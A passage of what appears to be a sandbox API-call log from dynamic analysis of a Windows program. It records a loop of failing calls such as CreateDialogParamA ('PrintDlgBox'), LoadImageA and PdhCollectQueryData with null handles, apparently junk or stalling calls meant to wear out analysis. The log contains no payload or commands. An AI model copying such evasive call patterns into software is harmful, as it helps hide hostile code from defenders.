Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.811] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.811] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.811] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.811] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.811] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.811] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.811] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.811] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.811] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192988608, cy=27, fuLoad=0x0) returned 0x0 [0026.811] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.811] GetLastError () returned 0x715 [0026.812] SetLastError (dwErrCode=0x715) [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.812] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.812] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.812] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.812] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.813] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.813] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.813] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.813] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.813] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.813] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192969663, cy=27, fuLoad=0x0) returned 0x0 [0026.813] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.813] GetLastError () returned 0x715 [0026.813] SetLastError (dwErrCode=0x715) [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.813] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.813] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.814] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.814] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.814] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.814] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.814] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.814] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192950718, cy=27, fuLoad=0x0) returned 0x0 [0026.814] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.814] GetLastError () returned 0x715 [0026.814] SetLastError (dwErrCode=0x715) [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.814] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.814] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.815] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.815] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.815] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.815] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.815] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.815] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192931773, cy=27, fuLoad=0x0) returned 0x0 [0026.815] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.815] GetLastError () returned 0x715 [0026.815] SetLastError (dwErrCode=0x715) [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.815] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.815] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.816] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.816] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.816] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.816] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.816] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.816] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.816] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.816] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.816] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.816] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.816] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.816] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.816] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.816] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.816] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.817] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192912828, cy=27, fuLoad=0x0) returned 0x0 [0026.817] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.817] GetLastError () returned 0x715 [0026.817] SetLastError (dwErrCode=0x715) [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.817] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.817] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.817] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.817] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.818] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.818] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.818] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.818] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192893883, cy=27, fuLoad=0x0) returned 0x0 [0026.818] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.818] GetLastError () returned 0x715 [0026.818] SetLastError (dwErrCode=0x715) [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.818] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.818] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.819] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.819] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.819] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.819] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.819] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.819] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192874938, cy=27, fuLoad=0x0) returned 0x0 [0026.819] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.819] GetLastError () returned 0x715 [0026.819] SetLastError (dwErrCode=0x715) [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.819] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.819] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.820] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.820] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.820] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.820] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.820] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.820] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1192855993, cy=27, fuLoad=0x0) returned 0x0 [0026.820] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.820] GetLastError () returned 0x715 [0026.820] SetLastError (dwErrCode=0x715) [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.820] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.820] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", 